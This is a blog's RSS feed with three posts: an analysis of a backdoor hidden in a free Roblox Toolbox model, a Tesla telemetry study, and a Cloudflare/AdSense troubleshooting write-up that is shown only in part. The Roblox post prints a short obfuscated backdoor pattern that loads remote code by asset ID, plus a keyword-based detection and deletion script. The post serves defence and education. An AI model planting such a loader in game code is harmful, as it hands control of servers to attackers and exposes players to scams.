<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Debugging My Life (EN)</title>
        <link>https://dbgmy.life/en</link>
        <description>Technical articles on Cyber Security, Infrastructure, Development, and Debugging by HEISENBUG.</description>
        <lastBuildDate>Tue, 03 Nov 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Debugging My Life (EN)</title>
            <url>https://dbgmy.life/og.jpg</url>
            <link>https://dbgmy.life/en</link>
        </image>
        <copyright>© 2026 HEISENBUG. All rights reserved.</copyright>
        <category>Security</category>
        <category>Data Analysis</category>
        <category>Development</category>
        <item>
            <title><![CDATA[Hunting Trojans in Roblox: How a Supply-Chain Backdoor Infiltrated My Daughter's Game]]></title>
            <link>https://dbgmy.life/en/blog/roblox-toolbox-supply-chain-malware-analysis</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/roblox-toolbox-supply-chain-malware-analysis</guid>
            <pubDate>Tue, 03 Nov 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Analyzing a 10-layer deeply nested backdoor script discovered in a free Toolbox model while building a Roblox game with my daughter, Luau VM sandbox security, and the reality of gaming supply-chain attacks.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **Hunting Trojans in Roblox: How a Supply-Chain Backdoor Infiltrated My Daughter's Game**

<Image
  src="/images/blog/roblox-toolbox-supply-chain-malware-analysis.png"
  alt="Hunting Trojans in Roblox: How a Supply-Chain Backdoor Infiltrated My Daughter's Game"
  width={1200}
  height={675}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
  priority
/>

Lately, my 7-year-old daughter has been utterly captivated by Roblox, spending joyous afternoons exploring virtual worlds and laughing at her avatar's playful physics.

Watching her pure delight, a thought struck me:  
*"Instead of just playing games built by others, why don't we build a fun, custom Roblox game together from scratch?"*

When I pitched the idea, her eyes went wide with excitement, and she immediately began unraveling her imaginative vision:

> *"Dad! Let's make an obstacle tower game where I write the quiz questions! If you slip and fall, you go all the way back to the 1st floor lobby, and if you pick the wrong answer, the bridge collapses under your feet!"*

As a software engineer and father, nothing surpasses the joy of **faithfully bringing your child's boundless imagination to life in code without compromise.** We immediately formed a two-person development studio: **Game Director & Creative Lead: My 7-Year-Old Daughter**, and **Engine & Infrastructure Developer: Dad**.

She titled the game *"The Tower You Can't Beat If You're Silly"*. I booted up Roblox Studio alongside [Rojo](https://rojo.space/) to manage our code in a modern local Git workflow and began scripting Luau mechanics.

However, to benchmark standard Korean obstacle course (Obby) tower dimensions, step intervals, and trap mechanics, I downloaded a popular free reference model from the Roblox Toolbox. That was when my security instincts flared—and the intuition proved completely justified.

---

## 1. A Quiet Weekend Build, and a Peculiar Anomaly

Building an obstacle tower requires precise tactile jump physics. If the gap between platforms is too narrow, players can simply sprint across without jumping; if it is too wide, the platform becomes unreachable. The standard Korean tower meta uses horizontal gaps of roughly 6.0 to 6.5 studs paired with vertical rises of 2.0 to 3.75 studs.

To study how top community builders structure their stages, I imported a shared reference tower model (`Workspace.Model`) onto our baseplate. From the outside, it looked like a standard 8-stage colorful tower with a translucent front facade (`Transparency = 0.7`) allowing players to preview the obstacles inside.

```
Workspace
├── Baseplate
├── SpawnLocation
└── Model (Imported Reference Tower)
    ├── Part (Walls, Steps, Platforms...)
    ├── TrussPart (Ladders)
    └── Bomb (?)
```

Yet, resting quietly in a corner of the 1st floor lobby were two bizarre tools: a pink `Bomb` object and a `Slap` tool.

*"Why would a parkour jumping tower come bundled with a bomb weapon?"*

Was it just a creator's leftover decorative toy? I began expanding the arrow nodes in the Studio Explorer hierarchy.

---

## 2. Deconstructing the Malware: 10-Layer Deep Nesting and Mimicry

The moment I expanded the tree, my internal security alarms triggered. Sophisticated evasion techniques typically seen in enterprise supply-chain attacks were lurking right inside this children's game template.

```
Workspace.Model
├── Bomb
│   └── Bomb
│       └── Handle
│           └── x64
│               └── x65
│                   └── x66
│                       └── x67
│                           └── x68
│                               └── x69
│                                   └── x70
│                                       └── x71
│                                           └── x72
│                                               └── x73
│                                                   ├── Material (Script) ⚠️
│                                                   └── CoreTextureSystem (Script) ⚠️
├── Slap
│   └── Handle
│       └── WeldConstraint
│           └── AxisOrientation
│               └── PartAxis (Script) ⚠️
├── TextureUtility
│   └── cTextureManager
│       └── CoreTextureSystem (Script) ⚠️
└── SkyLink (Dont Remove) ⚠️
    └── EZConfig (Script)
```

### 1) Ten Consecutive Empty Dummy Folders (`x64 ... x73`)
Average Roblox creators and younger players never expand child nodes beyond two or three levels in the Studio Explorer window. The attacker exploited this human blind spot by nesting empty, non-functional parts across **ten consecutive layers** from `x64` to `x73`, completely blinding visual inspection.

### 2) Camouflaged Naming Spoofing Core Engine Systems
The scripts buried at the bottom of the `x73` hierarchy were never named `Virus` or `Backdoor`. Instead, they masqueraded as essential engine features:
- `Material` (spoofing native Roblox part materials)
- `CoreTextureSystem` (mimicking texture pipeline handlers)
- `CoreSkyboxSystem` (faking skybox renderers)
- `SkyLink (Dont Remove)` (psychologically manipulating developers to fear deleting it)

If an unsuspecting creator glanced at the name, they would assume: *"Oh, that must be an internal engine script needed for lighting or textures."*

### 3) Dynamic Remote Payload Injection (`require`) and Backdoors
Peeking inside revealed the signature payload architecture of modern Roblox supply-chain malware:

```lua
-- Conceptual pattern of Roblox backdoor scripts
local _payload = require(10482910482) -- Dynamic cloud AssetId call
getfenv()["\108\111\97\100\115\116\114\105\110\103"](_payload)()
```

1. **Bypassing Static Scanners via `require(AssetId)`**:
   Embedding malicious source code directly inside a script triggers automated keyword filters and Studio virus scanners. Attackers circumvent this by hosting their real payload inside a private `ModuleScript` on Roblox's asset library, invoking it dynamically at runtime using only a numeric AssetId.
2. **Server Takeover and Spam Injection**:
   Once executed on the server (`ServerScriptService`), the backdoor can grant silent administrative privileges (`admin`) to designated external user IDs, spam all connected players with unsolicited GUI popups (begging for game likes or promoting phishing scams), or invoke `TeleportService` to redirect traffic to unauthorized third-party games.

---

## 3. The Security Engineer's Audit: "Is My Host Computer Compromised?"

The moment I isolated the script, an immediate question arose for anyone managing a development workstation:  
**"When opening an untrusted template in Roblox Studio, could my host operating system (macOS/Windows) be compromised?"**

The answer is reassuring: **The host developer machine is 100% safe**. This protection stems directly from Roblox's hardened **Luau VM Sandbox Architecture**.

```mermaid
flowchart TD
    subgraph HostOS ["Host Computer (macOS / Windows)"]
        FS["Local File System (Documents, Keychain)"]
        Shell["OS Command Line / Shell (zsh, bash)"]
        Net["Arbitrary Raw Sockets"]
    end

    subgraph LuauVM ["Roblox Studio Engine (Luau Sandbox)"]
        Script["Malicious Script (Bomb, SkyLink)"]
        DataModel["Game DataModel (Workspace, ServerScripts)"]
        Http["HttpService (Restricted Domain Requests)"]
    end

    Script -.->|"Access Blocked (No io library)"| FS
    Script -.->|"Execution Denied (No os.execute)"| Shell
    Script -.->|"Raw Socket Binding Forbidden"| Net
    Script ==>|"Infects Game DataModel Only"| DataModel
```

### 1) Complete Absence of File I/O and OS Execution in Luau
In standard C Lua, functions like `io.open` or `os.execute` allow interactions with the underlying operating system. In Luau, these entire standard libraries were **eradicated at the bytecode and VM design level**. A Luau script running inside Roblox Studio possesses zero capability to read files from your SSD, inspect SSH keys, or launch system processes.

### 2) Studio Edit Mode Execution Gate
Standard `Script` instances inside Roblox Studio do not execute code while in **Edit Mode**. They only spin up when you explicitly click **Play** or **Run**. Inspecting a model in the workspace before testing leaves the malicious payload completely inert—just static text in memory.

### 3) But the Game's DataModel Can Be Destroyed
Host safety does not mean game safety. Publishing a game containing these backdoors exposes your players to scams, overwhelms server memory with griefing loops, and risks account bans from Roblox Trust & Safety for distributing malicious software.

---

## 4. Remediation: Automated Auditing and Clean-Room Rebuild

Manual deletion invites human error. As engineers, we audited the entire DataModel programmatically.

### 1) Automated DataModel Audit Script
Executing this audit snippet via the Studio Command Bar or Rojo environment scanned every single executable container in the project:

```lua
-- Audit script to detect and isolate unauthorized scripts across the DataModel
local function auditWorkspaceScripts()
    local suspiciousKeywords = { "CoreTexture", "SkyLink", "x64", "x73", "cTexture", "EZConfig" }
    local purged = 0

    for _, obj in ipairs(game:GetDescendants()) do
        if obj:IsA("LuaSourceContainer") then -- Inspect Script, LocalScript, ModuleScript
            local fullName = obj:GetFullName()
            for _, kw in ipairs(suspiciousKeywords) do
                if string.find(fullName, kw) then
                    warn(string.format("[🚨 Trojan Detected] %s (%s)", fullName, obj.ClassName))
                    obj:Destroy() -- Immediate isolation and destruction
                    purged = purged + 1
                    break
                end
            end
        end
    end
    print(string.format("Audit Complete: Purged %d malicious elements.", purged))
end

auditWorkspaceScripts()
```

This sweep identified and permanently purged **14 malicious scripts and cheat tools**, including `Bomb`, `Slap`, `Rainbow Carpet`, `admin`, `TextureUtility`, and `SkyLink`.

### 2) Discarding the Contaminated Asset: 100% Original Code
Even after scrubbing the scripts, relying on a tainted model felt wrong. I sat down with my daughter:

> *"Someone hid sneaky, malicious code inside that free sample tower. Instead of trying to patch someone else's mess, what if we throw it away completely and build our own tower from scratch with pure rainbow colors, exactly how you envisioned it?"*  
> *"Of course, Dad! It's our game! We should build every single block ourselves!"*

We discarded the entire third-party asset into the trash. Using only the extracted physics measurements (stage boxes of 70×70×50 studs, ladder alignments, and disappearing plank timings), we wrote modular, clean Luau systems:

```
src/
├── server/
│   ├── init.server.luau       # Server entry point and spawn handling
│   ├── TowerBuilder.luau      # Procedural 7-stage pastel rainbow 200-floor tower generator
│   ├── TowerGimmicks.luau     # Disappearing planks, bounce trampolines, and laser hazards
│   ├── FallZone.luau          # No-checkpoint fall detection returning players to Stage 1
│   └── VIPItems.luau          # Custom rainbow clouds and jump shoes for daughter & Dad
├── client/
│   └── init.client.luau       # Ultra-slim non-intrusive corner HUD and quiz toasts
└── shared/
    └── GameConfig.luau        # 14 custom 3D O/X educational quiz gates
```

Zero external dependencies. Zero unvetted scripts. 

In the 1st floor lobby, custom statues of my daughter and me welcomed players, and every stage featured handmade 3D O/X quiz gates designed and tested by her.

---

## 5. Epilogue: Supply-Chain Security Isn't Just for Enterprises

In professional cybersecurity discussions, **Supply-Chain Attacks** often evoke images of state-sponsored APT groups infiltrating multinational CI/CD pipelines, poisoning npm libraries, or compromising open-source codebases.

Yet this weekend project demonstrated an inescapable reality:
- **Supply-chain risks exist wherever developers consume 'trust'.**
- A free 3D asset downloaded by a hobbyist on Roblox Toolbox carries the exact same structural risk as running an uninspected `npm install` or pulling an unverified Docker image.

Convenient free templates frequently carry hidden costs. 

Even in a playful weekend project with my daughter, the foundational engineering principle holds true: **Never blindly trust, always verify (Zero Trust), and true sovereignty over your systems comes only from clean code you understand and own.**

Standing beside my daughter on our custom rainbow cloud, watching the game's sunset from the 200th-floor summit, felt infinitely more rewarding than any enterprise security patch release.
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/roblox-toolbox-supply-chain-malware-analysis.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Decoding 3,200 km of Tesla Telemetry: Temperature vs Efficiency, AC/DC Charging Losses, and the Truth About Vampire Drain]]></title>
            <link>https://dbgmy.life/en/blog/teslamate-telemetry-data-analysis-efficiency-vampire-drain</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/teslamate-telemetry-data-analysis-efficiency-vampire-drain</guid>
            <pubDate>Sun, 01 Nov 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[A deep dive into 3,252 km of real-world driving, 600 kWh of charging, and 750+ hours of parking telemetry collected via self-hosted TeslaMate on a private home NAS. Featuring an exact 158.8 km controlled experiment on cold weather efficiency penalty, AC vs DC charging losses, Sentry Mode phantom drain, and 9,600 km LFP battery health.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **Debugging an EV with Ground-Truth Data, Not Anecdotes**

<Image
  src="/images/blog/teslamate-telemetry-data-analysis.png"
  alt="Tesla Telemetry Deep Dive: Efficiency, Charging Loss, and Vampire Drain"
  width={1200}
  height={675}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
  priority
/>

In my previous post ([Where Does My Car's Data Go? Self-Hosting TeslaMate on a Home NAS with Docker](/en/blog/teslamate-nas-docker-self-hosting)), I documented how I avoided third-party cloud lock-in by hosting an Elixir- and PostgreSQL-based **TeslaMate** telemetry logger on my private home NAS.

Over the following months of seasonal commuting and cross-country road trips in my Tesla Model Y (affectionately nicknamed **Tesl-yi**, Model Y RWD with LFP chemistry), my NAS recorded more than **3,200 km of high-resolution drive logs**, **600 kWh of charging sessions**, and **dozens of extended parking states**.

Online EV forums are rife with rules of thumb and anecdotal wisdom:

> *"Batteries completely melt away in cold weather—but exactly how much range is lost?"*  
> *"Is Level 2 AC charging inherently more efficient and lossless than DC Fast Charging?"*  
> *"How much phantom energy does Sentry Mode actually burn overnight?"*  
> *"Does charging an LFP pack to 100% daily cause measurable battery degradation over 10,000 km?"*

As an engineer, relying on intuition or forum rumors was unacceptable. **Armed with raw telemetry data streamed directly from vehicle sensors**, I queried PostgreSQL using Python (`pandas`) and SQL to separate myth from engineering reality. Here are the empirical findings.

---

## 1. Dataset Overview & Analysis Pipeline

The raw telemetry analyzed here was captured directly from the vehicle CAN bus and Tesla Streaming API, stored into PostgreSQL running inside a containerized home lab environment:

| Telemetry Domain | Dataset Volume | Notes |
| :--- | :--- | :--- |
| **Total Drive Sessions (Drives)** | **207 sessions** (138 valid drives $\ge$0.5km) | Filtered out short shuttle/parking moves |
| **Analyzed Distance (Distance)** | **3,252.1 km** | 80% Expressway, 20% City loops |
| **Net Energy Consumed (Net Energy)** | **453.92 kWh** | Net consumed after regenerative braking |
| **Total Charging Sessions (Charges)** | **27 sessions** (Total **601.15 kWh** delivered) | 19 Level 2 AC, 5 DC Fast / Supercharger |
| **Parked Standby Sessions (Vampire Drain)** | **40 sessions** (**750+ hours total**) | Split between Sentry Active vs Deep Sleep |
| **Vehicle Odometer At Capture** | **9,622 km** | Baseline for Battery Health analysis |
| **Analytics Stack** | Python 3.12 / pandas / DuckDB | Precision local ETL & statistical modeling |

> [!NOTE]
> **Data Privacy & Sanitization**:  
> All geographical coordinates, precise street names, and waypoint IDs have been rigorously sanitized (e.g., replaced with anonymized labels such as `158.8 km Highway Corridor` or `Urban Congested Loop`) in accordance with strict privacy principles.

---

## 2. [Drives] Ambient Temperature vs Efficiency: An Exact 158.8 km Controlled Experiment

Range anxiety in cold weather is the most cited concern for EV adoption. However, general trip reports often fail to isolate temperature because other variables—wind speed, traffic flow, elevation gain, cabin occupancy, and cruising speed—vary wildly between runs.

While filtering the dataset, I uncovered **two identical highway trips that formed a near-perfect natural experiment**.

### 1) A Controlled Highway Corridor: 20.1°C vs 7.6°C

Both trips took place along the exact same **158.8 km southbound highway corridor** at night under nearly identical traffic conditions:

| Metric | Sept 20 Trip (Early Autumn / Mild) | Oct 31 Trip (Late Autumn / Cold) | Variance |
| :--- | :--- | :--- | :--- |
| **Route & Distance** | 158.8 km (Highway Corridor) | 158.8 km (Highway Corridor) | **Identical Route (158.8 km)** |
| **Duration / Average Speed** | 1.9 hours / **83 km/h** | 1.9 hours / **85 km/h** | Margin $\pm$2 km/h (Steady cruising) |
| **Top Speed** | 114 km/h | 122 km/h | Expressway cruising |
| **Outside Temp (Ambient)** | **20.1 °C** | **7.6 °C** | **-12.5 °C (Sharp temp drop)** |
| **Net Energy Consumed** | **20.5 kWh** | **23.6 kWh** | **+3.1 kWh (+15.1% energy penalty)** |
| **Trip Efficiency (Wh/km)** | **129 Wh/km** (7.75 km/kWh) | **148 Wh/km** (6.75 km/kWh) | **+14.7% consumption increase** |
| **Battery Thermal Status** | Normal operating temp | **❄ Snowflake active** | Active pack conditioning & cabin HVAC |

The data is remarkably clear:  
With route geometry, cruising speed (83–85 km/h), and travel time held constant, **a 12.5°C drop in ambient temperature caused a direct 3.1 kWh (+15.1%) increase in consumed energy**.

From an automotive physics standpoint, three mechanisms explain this jump:
1. **Air Density & Aerodynamic Drag**: Colder air is denser, requiring significantly more kinetic energy to push a vehicle through at highway speeds ($F_D = \frac{1}{2} \rho v^2 C_D A$).
2. **Internal Battery Resistance**: Lower electrolyte temperature slows lithium-ion migration, increasing internal cell impedance ($I^2R$ resistive losses).
3. **Thermal Management (Heat Pump & PTC)**: Sustaining a comfortable cabin temperature against a 7.6°C exterior and conditioning the high-voltage pack draws continuous electrical load.

### 2) Urban Congestion vs Highway Cruising Efficiency

Across all 138 analyzed drives, contrasting driving environments demonstrated distinct efficiency curves:

- **Urban Congested Loops (Ø Speed 14.4 km/h, 74 trips)**:
  - Average consumption: **225.6 Wh/km (4.43 km/kWh)**, median 201 Wh/km.
  - Frequent stop-and-go acceleration combined with extended cabin climate operation during prolonged idling degraded efficiency.
- **Highway / Expressway Cruising (Ø Speed 50.5 km/h, max 122 km/h, 38 trips)**:
  - Total distance: **2,598.2 km** (80% of total recorded travel).
  - Average consumption: **132.9 Wh/km (7.52 km/kWh)**, median 132 Wh/km.
  - Aerodynamic streamlining ($C_D = 0.23$) and regenerative braking yielded outstanding highway efficiency.
- **Overall 3,252 km Weighted Net Efficiency**:
  - **139.6 Wh/km (7.16 km/kWh)**.
  - Outperforming the official South Korean Ministry of Environment certified rating (`5.1 km/kWh`) by **+40.4%**.

---

## 3. [Charging] AC vs DC Charging Efficiency: The Truth Behind Inverter Losses

Common automotive lore suggests that *"Level 2 AC charging is always gentler, cooler, and less wasteful than DC Fast Charging."*

However, our empirical telemetry across 27 sessions totaling **601.15 kWh** revealed an unexpected truth:

| Charging Method | Sessions | Energy Injected (Meter) | Battery Energy Stored | **Weighted Efficiency** | **Loss Rate (Energy Lost)** |
| :--- | :---: | :---: | :---: | :---: | :---: |
| **Level 2 AC (Slow)** | 19 | 455.06 kWh | 426.44 kWh | **93.7%** | **6.3% Loss** (28.6 kWh) |
| **DC Fast / Supercharger** | 5 | 146.09 kWh | 142.06 kWh | **97.2%** | **2.8% Loss** (4.0 kWh) |
| **Combined Total** | **27\*** | **601.15 kWh** | **568.50 kWh** | **94.6%** | **5.4% Loss** (32.7 kWh) |

*(\* Including uncategorized sessions)*

### 1) Why DC Fast Charging Loses Less Than Half the Energy

In our tests, **DC Fast Charging registered an outstanding 97.2% efficiency (only 2.8% loss)**, while **Level 2 AC charging averaged 93.7% efficiency (6.3% loss)**. The root cause lies in the **On-Board Charger (OBC)**:

```
[ Level 2 AC Charging Path ]
Grid 220V AC ──▶ [Vehicle On-Board Charger (AC ➔ DC)] ──▶ High-Voltage Battery Pack
                   └─ Thermal conversion loss in OBC circuitry
                   └─ 12+ hour session keeps vehicle computer & BMS pumps awake

[ DC Fast Charging Path ]
Commercial Fast Charger ──(High-Voltage Direct Current)──▶ High-Voltage Battery Pack
                           └─ Bypasses vehicle OBC entirely
                           └─ 30-minute session minimizes vehicle computer runtime
```

### 2) Output Matters: 3 kW vs 7 kW AC Charging

Inspecting individual AC sessions uncovered another critical variable—**charging power**:
- **2.5 ~ 3.1 kW Portable / Outlet Chargers**:
  - Over extended 12–13 hour cycles, charging efficiency fell to **90% ~ 92% (8–10% loss)**. When charging at low power, the vehicle’s thermal pumps and gateway computers remain awake for half a day, consuming a fixed baseline wattage that eats into the trickle charge.
- **6.3 ~ 6.7 kW Wallbox Chargers**:
  - Halving the charging duration boosted efficiency into the **94% ~ 99%** bracket.

> **💡 Practical Takeaway**:  
> When charging at home, selecting a dedicated 6–7 kW Wallbox over a 3 kW portable outlet is not merely about speed—it saves **3% to 5% in wasted electrical losses**, translating directly into lower utility bills.

---

## 4. [Parking] The Reality of Vampire Drain: Sentry Mode vs Deep Sleep

The silent loss of battery state of charge while parked—often called **Vampire Drain** or Phantom Drain—was tracked across 40 extended parking sessions totaling over 750 hours:

| Parking State | Sessions | Average Power Draw | Median Power Draw | Rated Range Loss / Hour | Operating Mode |
| :--- | :---: | :---: | :---: | :---: | :--- |
| **Awake (Sentry Mode Active)** | 17 | **302.3 W** | **239.9 W** | **1.69 km / hour** | Continuous CV inference & camera recording |
| **Deep Sleep (Low Power Standby)** | 23 | **19.2 W** | **8.2 W** (Min 4.8W) | **0.05 ~ 0.08 km / hour** | Ultra-low-power sleep state |

```
[ Hourly Idle Power Comparison ]

Sentry Active (Awake) : ████████████████████████████ 240 W
Deep Sleep            : █ 8.2 W (approx. 1/30th the power!)
```

### 1) Sentry Mode Active: 240 Watts of Continuous Compute

- When Sentry Mode is active, vehicle power draw settles with striking precision between **239.9 W and 240.8 W**. Powering four optical video streams, storage writing, and real-time computer vision inferences requires significant compute.
- **Empirical 20-Hour Parking Test**:
  - `Oct 23, 20.0-hour parking session`: Battery dropped **-7% (4.76 kWh lost, equivalent to 33.5 km of rated range vanished)**.
  - That equates to roughly **5.76 kWh per day (9.4% of total battery pack capacity)** consumed solely for surveillance.

### 2) Deep Sleep: True Phantom Drain is Practically Zero

When the vehicle transitions into Deep Sleep, power consumption drops dramatically:
- **3.7-Day (88.8 Hours) Continuous Sleep Test**:
  - Total energy drained: **Just 638.9 Wh (0.64 kWh)**.
  - Range loss: **Only 4.5 km** (approx. 50 meters per hour).
  - Average power draw: **7.3 W**!
- **1.3-Day (31 Hours) Continuous Sleep Test**:
  - Total energy drained: **180 Wh**, average power draw: **5.9 W**!

> **💡 Practical Takeaway**:  
> Tesla’s sleep management architecture is remarkably disciplined. Provided you use a polling-friendly logger like self-hosted TeslaMate that respects sleep backoff algorithms, **a sleeping Tesla sips less power than a standard household LED light bulb (8W)**. Disabling Sentry Mode in secure, CCTV-monitored residential garages can save hundreds of kilowatt-hours annually.

---

## 5. [Longevity] LFP Battery Health After 9,622 km: A Remarkable 0.6% Degradation

Finally, let us review the long-term Battery Health telemetry dashboard:

<Image
  src="/images/blog/teslamate-battery-health-dashboard.jpg"
  alt="TeslaMate Battery Health Dashboard - Model Y SR LFP 9622km Degradation 0.6%"
  width={1200}
  height={675}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

With the odometer reading **9,622 km**:

| Health Metric | Factory Spec (When New) | Empirical Reading (9,622 km) | Total Variance |
| :--- | :--- | :--- | :--- |
| **Usable Pack Capacity** | 61.7 kWh | 61.3 kWh | **-377.7 Wh (-0.38 kWh)** |
| **Max Ideal Rated Range** | 434.2 km | 430.8 km | **-3.4 km (-0.78%)** |
| **Reported Battery Health** | 100.0 % | **99.4 %** | Retaining 99.4% original health |
| **Estimated Degradation** | 0.0 % | **0.6 %** | **Only 0.6% loss after 9,622 km** |

### The LFP Voltage Plateau & Calibration Cycles

Examining the **'Battery Capacity by Mileage'** graph above reveals an interesting pattern: capacity does not decline in a smooth line. Instead, it **fluctuates between 61.2 kWh and 61.6 kWh**, exhibiting undulating waves.

This is a signature trait of Lithium Iron Phosphate (LFP) cells. Unlike Nickel-Cobalt-Manganese (NCM) chemistries whose open-circuit voltage correlates linearly with state of charge, LFP has an exceptionally flat discharge voltage curve. The Battery Management System (BMS) cannot accurately gauge state of charge solely from voltage readings during partial cycles.

Charging to 100% allows the BMS to detect the upper voltage knee, recalibrating total pack capacity and causing slight upward adjustments in reported health.

Recording an estimated **degradation of just 0.6% and a range loss of only 3.4 km after nearly 10,000 km of driving** demonstrates the exceptional real-world resilience of modern LFP architectures.

---

## 6. Epilogue: The Power of Owning Your Data

Reflecting on this 3,200 km telemetry exploration, the most empowering revelation was that **empirical data dispels speculative anxiety**:

- A 15% winter efficiency penalty is not an unpredictable catastrophe; it is a quantifiable physical metric that can be modeled and budgeted into trip planning.
- Understanding the 6% AC charging loss and the inefficiency of 3 kW trickle charging reshapes how we approach daily home charging routines.
- Observing the stark contrast between 240 W Sentry consumption and 8 W Deep Sleep enables intentional, cost-effective decisions about vehicle security.

In an era where modern automobiles are essentially computers on wheels, retaining data sovereignty and debugging our digital assets transforms passive ownership into active engineering discovery.
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/teslamate-telemetry-data-analysis.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Fixing Zero Google Traffic & AdSense 'ads.txt Not Found' on Next.js 15 + Cloudflare Pages]]></title>
            <link>https://dbgmy.life/en/blog/nextjs-cloudflare-pages-seo-adsense-troubleshooting</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/nextjs-cloudflare-pages-seo-adsense-troubleshooting</guid>
            <pubDate>Fri, 23 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Why did Google AdSense fail to read a 200 OK ads.txt file? How querying Cloudflare GraphQL firewall logs exposed Bot Fight Mode blocking Google crawlers, plus 5 technical SEO fixes for Next.js static blogs.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **"It Returns 200 OK in My Browser—Why Can't Google AdSense Find `ads.txt`?"**

While running my bilingual technical blog built with **Next.js 15 (`output: 'export'`)** on **Cloudflare Pages**, I ran into two baffling anomalies:

1. **The Cloudflare Traffic Mirage**: The Cloudflare overview dashboard reported over 111,000 monthly HTTP requests and ~260 daily unique visitors, yet actual human engagement and organic search referrals felt practically nonexistent.
2. **The Eternal `ads.txt Not Found` Status in Google AdSense**: Even though `https://dbgmy.life/ads.txt` was deployed in the root directory and returned `HTTP 200 OK` instantly in every browser and `curl` test, Google AdSense stubbornly displayed **`Ads.txt status: Not found`** for weeks.

Instead of blindly waiting and hoping Google's crawler would eventually figure it out, I decided to treat SEO and AdSense verification like an infrastructure incident—querying the **Cloudflare GraphQL Analytics API**, inspecting **WAF Firewall Events (`firewallEventsAdaptive`)**, and auditing the static HTML output (`out/`). What I uncovered in the logs was a classic case of security controls friendly-firing on search engine crawlers.

<Image
  src="/images/blog/cloudflare-seo-adsense-troubleshooting.png"
  alt="Cloudflare WAF and Next.js 15 SEO & AdSense Troubleshooting"
  width={800}
  height={450}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
/>

---

## **1. Executive Summary: The 5 Root Causes & Engineering Fixes**

Here is the complete breakdown of the five bottlenecks that were choking organic search indexing and blocking Google AdSense verification:

| Priority | Symptom | Root Cause Discovered | Engineering Fix Applied |
| :---: | :--- | :--- | :--- |
| **1** | **AdSense `ads.txt Not Found` persists** | Cloudflare **`Bot Fight Mode`** served CAPTCHAs (`managed_challenge`) to `GoogleAdSenseInfeed`, and **`AI Bot Protection`** blocked (`403`) `GoogleOther` | • Disabled Free-plan `Bot Fight Mode`<br/>• Allowed crawlers in AI Bot Policy & disabled `robots.txt` injection<br/>• Added WAF `Skip` rule for `/ads.txt` and Google ASN (`15169`) |
| **2** | **Zero organic search referrals & split authority** | Both `dbgmy.life` and `www.dbgmy.life` served `HTTP 200` without redirecting; `NEXT_PUBLIC_SITE_URL` pointed to `www` while AdSense/GSC used `non-www` | • Unified `siteConfig.url` & Cloudflare Pages env vars to `https://dbgmy.life`<br/>• Added `301` redirect from `www.dbgmy.life/*` to `https://dbgmy.life/:splat` |
| **3** | **High risk of AdSense 'Low Value Content' rejection** | 16 full articles generated 90+ `/tags/[tag]` listing pages, making over 80% of crawled URLs thin 1-post tag pages | • Added `robots: { index: false, follow: true }` to `/tags/*`, `/en/tags/*`, `/blog/search`<br/>• Pruned `sitemap.xml` from 130+ URLs down to 30 high-value pages |
| **4** | **Missing JSON-LD structured data in static HTML** | `JsonLdSchema` used `"use client"` + `strategy="afterInteractive"`, omitting schema markup from initial server HTML | • Converted `JsonLdSchema` to a pure Server Component rendering `<script type="application/ld+json">` directly in static HTML |
| **5** | **AdSense Auto Ads ruining blog layout** | Turning on Auto Ads injected intrusive sticky banners and mid-code-block ads across the entire site | • Disabled Auto Ads and built a dedicated bottom-of-post `AdSenseUnit` component that auto-collapses when `unfilled` |

---

## **2. Diagnosis #1: Separating Bot Noise from Real Traffic via Cloudflare GraphQL**

My first question was simple: *"Are real humans actually finding my blog through Google Search?"*
Cloudflare's default zone analytics (`httpRequests1dGroups`) counts every edge request—including search crawlers, vulnerability scanners, and uptime monitors. To isolate real human browser sessions, you must compare **Edge HTTP Requests** against **Cloudflare Web Analytics / RUM (`rumPageloadEventsAdaptiveGroups`)**, which only fires when a real browser executes JavaScript.

I ran a GraphQL query against the Cloudflare API to compare both datasets over the last 30 days:

```javascript
// Cloudflare GraphQL API: Comparing Edge HTTP Requests vs. Real-User Browser Visits (RUM)
const query = `
  query {
    viewer {
      zones(filter: { zoneTag: "<ZONE_ID>" }) {
        httpRequests1dGroups(limit: 30, filter: { date_geq: "2026-09-22" }) {
          dimensions { date }
          sum { requests pageViews }
          uniq { uniques }
        }
      }
      accounts(filter: { accountTag: "<ACCOUNT_ID>" }) {
        rumPageloadEventsAdaptiveGroups(limit: 50, filter: { datetime_geq: "2026-09-22T00:00:00Z" }) {
          count
          dimensions { requestHost requestPath refererHost countryName }
        }
      }
    }
  }
`;
```

The numbers told a crystal-clear story:
- **30-Day Edge HTTP Traffic**: `111,144 requests` (`7,045 pageViews`, `8,152 unique IPs`)—global crawlers were hitting the edge constantly.
- **30-Day Real Browser RUM Traffic**: **Zero (`0`) organic search referrals** from `google.com` or `bing.com`.
- Even worse, inspecting `requestHost` in the RUM dataset revealed that human visits were **split between `www.dbgmy.life` and `dbgmy.life`**.

### 🔍 Root Cause: Split `www` vs. `non-www` Canonical Mismatch
Running `curl -I` against both `https://dbgmy.life` and `https://www.dbgmy.life` revealed that both domains returned `HTTP/2 200` independently without redirecting.
Meanwhile, Google AdSense and Search Console were registered under the apex domain (`dbgmy.life`), whereas the Cloudflare Pages production environment variable `NEXT_PUBLIC_SITE_URL` was set to `https://www.dbgmy.life`.

